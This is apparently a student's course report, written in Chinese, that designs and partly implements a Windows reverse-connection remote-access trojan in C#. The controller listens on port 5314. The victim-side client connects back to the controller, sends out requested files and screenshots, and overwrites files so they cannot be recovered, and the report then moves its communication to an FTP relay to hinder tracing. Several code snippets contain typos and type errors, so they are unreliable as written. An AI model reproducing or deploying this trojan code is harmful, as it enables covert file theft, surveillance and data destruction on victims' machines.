2018-2019-2 20165314『网络对抗技术』Final：反弹木马的剖析与防御

2018-2019-2 20165314『网络对抗技术』Final：反弹木马的剖析与防御

实践规划

通过自学，掌握木马的攻击原理，初步实现一个反弹木马，主要分为服务器端（靶机）、客户端（攻击者）和一个代理服务器端，其中客户端包括控制程序和配置程序两部分，代理服务器端提供转发数据功能以防止反跟踪。

我要开始赶鸭子上架了

初步规划做一个针对windows的远程控制型第六代木马，利用网页脚本植入，不采用C/S结构的直接通信方式，而是通过一个代理服务器传输数据。如果最后结果跟这个有出入就当我没说过这句。

实践原理

反弹端口型木马系统基于TCP/IP协议体系建立通信，通过对在线FTP服务器文件读写获取连接信息，实现反弹端口连接功能。客户端采用界面化管理方式，实现对服务端的CMD命令控制。

隐蔽性是木马程序的重要特性，与病毒相比，一般的木马程序并不具备破坏性，它寄生在用户计算机系统中，通过获取当前用户的操作权限，进行比如添加删除程序，修改注册表，窃取用户机密信息等恶意工作。

就近年来的木马进行分析，木马的功能大致如下:

(l)自动搜索已感染木马的计算机;

(2)对文件系统进行控制，如查看、拷贝、传输、删除文件等;

(3)实现程序的远程打开;

(4)实时监控屏幕信息;

(5)对计算机输入输出控制权接管;

(7)记录、监视按键顺序、系统信息等一切操作;

(8)随意修改注册表;

(9)恶意安装程序，修改计算机环境等。[1]

本次实践预计对以上功能中的(1)、(2)、(3)功能进行实现

实践内容

本次实践基于windows下的vs2017，程序由C#进行编写，并对完成程序进行一些非代码层次操作以实现社会工程学攻击目的。

主控端设计

1、界面设计

1.1启动监听按钮

点击后对本机指定端口开启监听，并在成功建立与目标机连接后提示

1.2目标地址

建立连接后显示目标机器的ip地址，这个文本框内的数据是只读类型的

1.3指令栏

建立连接后在指令栏中选择要进行的操作，如果连接未建立、未选择指令或选择了有操作对象的指令类型但没选择对象时提示

1.4文件目录

建立连接后显示目标机器的文件目录，选择某个目录展开该目录下的子目录结构

1.5文件列表

在1.4中选择目录后在1.5中显示该目录下的文件，显示内容包括文件名、创建日期、文件大小

1.6存储路径选择

用于修改获取文件类功能所获取文件存储路径，若路径不存在则提示

2、功能实现

2.1监听

编辑点击按钮事件，点击后实例化一个tcp监听类，并开启监听，监听到连接请求则将一个定义的标志符置为真，并获取请求端ip地址

核心代码：

TcpListener listen = new TcpListener(5314);
string ReomteIP;
listen.Start();
TcpClient client = listen.AcceptTcpClient();
client = listen.AcceptTcpClient();
bool IsConnect = client.Connected;
if(IsConnerct)
{
    ReomteIP = client.RemoteEndPoint.ToString()；
}

2.2显示目标地址

连接成功后，获取链接的RemoteEndPoint属性转换为string类型输出即可
TargetAddr.Text = StartListening.RemoteIP;

2.3指令栏

在确认指令按钮的事件中对选择指令的规则进行约束，若不符合规则则弹出消息框，不执行指令；对符合规则的指令，采用“指令码”+“带路径的文件名”形式写入数据流发送给受控端

核心代码：

switch (CommandCode)
{
    case 1:
        if(this.FileList.SelectedItems.Count == 0)
        {
        MessageBox.Show("请选择要获取的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
        return;
        }
        else Execution(CommandCode);
        return;
    case 4:
        if(this.FileList.SelectedItems.Count == 0)
        {
        MessageBox.Show("请选择要粉碎的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
        return;
        }
        else Execution(CommandCode);
        return;
    case 5:
        MessageBox.Show("请选择要执行的指令","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
        return;
    default:
        Execution(CommandCode);
        return;
}
……

2.4目录栏

2.4.1初始化

遍历计算机中所有逻辑驱动器名称(盘符)，实例化DriveInfo对象用于记录硬盘节点信息，在目录栏中添加各个硬盘对应节点

核心代码:

foreach (string drive in Environment.GetLogicalDrives())
{
    //实例化DriveInfo对象
    var dir = new DriveInfo(drive);
    switch (dir.DriveType)           //判断驱动器类型
    {
    case DriveType.Fixed:        //仅取固定磁盘盘符 Removable-U盘 
    {
        //Split仅获取盘符字母
        TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
        tNode.Name = dir.Name;
        tNode.Tag = tNode.Name;
        tNode.ImageIndex = IconIndexes.FixedDrive;    //设置获取结点显示图片
        tNode.SelectedImageIndex = IconIndexes.FixedDrive;//设置选择显示图片
        DirectoryTree.Nodes.Add(tNode);               //加载驱动节点
        tNode.Nodes.Add("");
    }
    break;
    case DriveType.Removable:
    {
        TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
        tNode.Name = dir.Name;
        tNode.Tag = tNode.Name;
        tNode.ImageIndex = IconIndexes.FixedDrive;
        tNode.SelectedImageIndex = IconIndexes.FixedDrive;
        DirectoryTree.Nodes.Add(tNode);  
        tNode.Nodes.Add("");
    }
    break;
}
rootNode.Expand();   //展开树状视图

2.4.1展开子目录

自定义TreeViewItems类的方法用于加载子目录，在点击父目录后获取该目录下一级所有文件夹，添加子节点后展开

核心代码：

string[] dics = Directory.GetDirectories(path);
foreach (string dic in dics)
{   
    TreeNode subNode = new TreeNode(new DirectoryInfo(dic).Name);  //实例化
    subNode.Name = new DirectoryInfo(dic).FullName;               //完整目录
    subNode.Tag = subNode.Name;
    subNode.ImageIndex = IconIndexes.ClosedFolder;               //设置获取节点显示图片
    subNode.SelectedImageIndex = IconIndexes.OpenFolder;        //设置选择节点显示图片
    tNode.Nodes.Add(subNode);
    subNode.Nodes.Add("");                                     //加载空节点 实现+号
}

2.5文件列表

将目录栏中选中的目录作为路径，获取该目录下一级所有文件夹，获取属性后添加节点

核心代码：

//数据更新 UI暂时挂起直到EndUpdate绘制控件,可以有效避免闪烁并大大提高加载速度
FileList.BeginUpdate();
DirectoryInfo dir = new DirectoryInfo(path);
FilePathPublic = path;                     //获取当前目录文件列表
FileInfo[] fileInfo = dir.GetFiles();     
for (int i = 0; i < fileInfo.Length; i++)
{   
    ListViewItem listItem = new ListViewItem();
    listItem.Text = "[" + (i + 1) + "] ";     //序列
    listItem.ForeColor = Color.Blue;          //设置行颜色
    listItem.SubItems.Add(fileInfo[i].Name);  //显示文件名
    length = fileInfo[i].Length;              //获取当前文件大小字节 
    istItem.SubItems.Add(Math.Ceiling(decimal.Divide(length, 1024)) + " KB");
    listItem.SubItems.Add(fileInfo[i].Extension + "文件");   //加载数据至FileList
    this.FileList.Items.Add(listItem);
}
//结束数据处理,UI界面一次性绘制 否则可能出现闪动情况
FileList.EndUpdate();

2.6存储路径修改

对输入的存储路径进行判断，若路径不存在则提示

if (!Directory.Exists(StoreAddr.Text))
{
    MessageBox.Show("请选择有效的地址","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
    return;
}

受控端设计

受控端出于隐蔽性需求，不需要设计特意GUI，采用默认的form窗体就行，这里着重介绍受控端实现的功能

1、功能介绍

1.1回连

受控端启动后，定期向主控端发起连接请求，连接成功后等待主控端传来的指令。

1.2获取文件

收到主控端发来的指令后执行，将指定的文件传回主控端

1.3获取截屏

收到主控端发来的指令后执行，截取当前屏幕并保存，将截屏的文件传回主控端，并删除本地文件

1.4留言

（该功能的想法来着于小时候家里电脑遭受的一次攻击，那个比攻击者在我家的电脑屏幕上留了一段消息，然后电脑无法正常启动，导致了接下来一段时间我无电脑可玩）

收到主控端发来的指令后执行，接收主控端发来的word文档，文档内容可在主控端自行编辑

1.5粉碎文件

收到主控端发来的指令后执行，粉碎指定文件（非删除，不可找回）

2、功能实现

2.1回连

程序启动后实例化一个Tcpclient类进行连接请求，成功后获得一个绑定该连接的流，并开启一个缓冲流用于读取流文件

TcpClient tc = new TcpClient("192.xxx.xxx.xxx", 5314);
NetworkStream ns = tc.GetStream(); 
BufferedStream sr = new BufferedStream(ns);
StreamReader sread = new StreamReader(ns); 

2.2文件获取

读取主控端传来的文件流中的文件地址，将该文件复制到另一个流中传回主控端

string[] cmd = new string[2];
StreamReader rc = new StreamReader(sread);
while (rc.Peek() != -1)
{
    cmd = rc.ReadLine().Split(' ');
    cmd[1] = cmd[1].Replace("", "");               
}
……
if(!Directory.Exists(cmd[1]))
{
    StreamWriter sw = new StreamReader(ns);
    FileStream fs = new FileStream(cmd[1], FileMode.Open);
    contentLen = fs.Read(buff, 0, buffLength);
    while (contentLen != 0)
    {
        sw.Write(buff, 0, contentLen);
        contentLen = fs.Read(buff, 0, buffLength);
    }
    fs.Close();
}

2.3获取截屏

实例化一个矩形类对整个屏幕进行截取，保存到当前文件夹后上传，最后粉碎该文件

Rectangle tScreenRect = new Rectangle(0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Bitmap tSrcBmp = new Bitmap(tScreenRect.Width, tScreenRect.Height); // 用于屏幕原始图片保存
Graphics gp = Graphics.FromImage(tSrcBmp);
gp.CopyFromScreen(0, 0, 0, 0, tScreenRect.Size);
gp.DrawImage(tSrcBmp, 0, 0, tScreenRect, GraphicsUnit.Pixel);
tSrcBmp.Save(Directory.GetCurrentDirectory() + "\" + FileName);
UpLoad(Directory.GetCurrentDirectory() + "\" + FileName);
Crash(Directory.GetCurrentDirectory() + "\" + FileName);

2.3留言

获取接收到的文件流中以字符串形式保存的留言内容，在程序运行目录下新建一个wrod文档并写入

string path = Directory.GetCurrentDirectory() +"\Example.doc";
FileStream fs = new FileStream(path, FileMode.Append);
StreamWriter sw = new StreamWriter(fs);
sw.WriteLine(cmd[1]);
sw.Flush();
sw.Close();

2.4粉碎文件

使用加密服务提供程序CSP实现加密随机数生成器，将生成的随机数填充入目的文件中，以达到不可复原的效果

byte[] dummyBuffer = new byte[512];
RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); //使用加密服务提供程序CSP实现加密随机数生成器
FileStream inputStream = new FileStream(Filepath, FileMode.Open);
inputStream.Position = 0;
for (int sectorsWritten = 0; sectorsWritten < sectors; sectorsWritten++)
{
    rng.GetBytes(dummyBuffer);//加密随机值填充数组
    inputStream.Write(dummyBuffer, 0, dummyBuffer.Length);
    sectorsWritten++;
}
inputStream.SetLength(0);
inputStream.Close();

3、运行流程

4、遇到的问题

连接建立成功之后，传输一次后连接直接关闭，无法再次使用，这是因为在C#中实例化的tcpclient类默认采用的是用于单次传输的短连接（short connection），经过自学最终还是没学会如何建立一次传输后不会关闭的长连接（ persistent connection），尝试在新端口建立回传连接也不成功，经过老师的指导我决定改变通信的方式，通过建立一个ftp服务器来存储主控端的指令和受控端获取的文件

5、搭建FTP服务器

参考百度经验，在第四步出现无法开启windows服务的情况，查找对应错误码发现是我的系统太久没更新的原因，（what？这个从另一门课大作业就开始困扰我的问题居然只是我**的系统没升级？）花了一个下午更新系统后搭建了一个简易的ftp服务器

（确实很简易哦）

6、修改代码

主要是将主控端和受控端之间的tcp连接改为向ftp服务器的连接请求
例如：

string FileName = '/' + LocalPath.Split('\')[LocalPath.Split('\').Length - 1];
string FTPPath = FTPAddress + FileName;
FtpWebRequest reqFtp = (FtpWebRequest)FtpWebRequest.Create(new Uri(FTPPath));
reqFtp.UseBinary = true;
reqFtp.Credentials = new NetworkCredential(FTPUsername, FTPPwd); //设置通信凭据
reqFtp.KeepAlive = false; //请求完成后关闭ftp连接

参考文献：

[1] 木马攻击与隐蔽技术研究
[2] 线程注入式无进程木马的实现原理
[3] 木马技术研究及反弹木马系统的设计与实现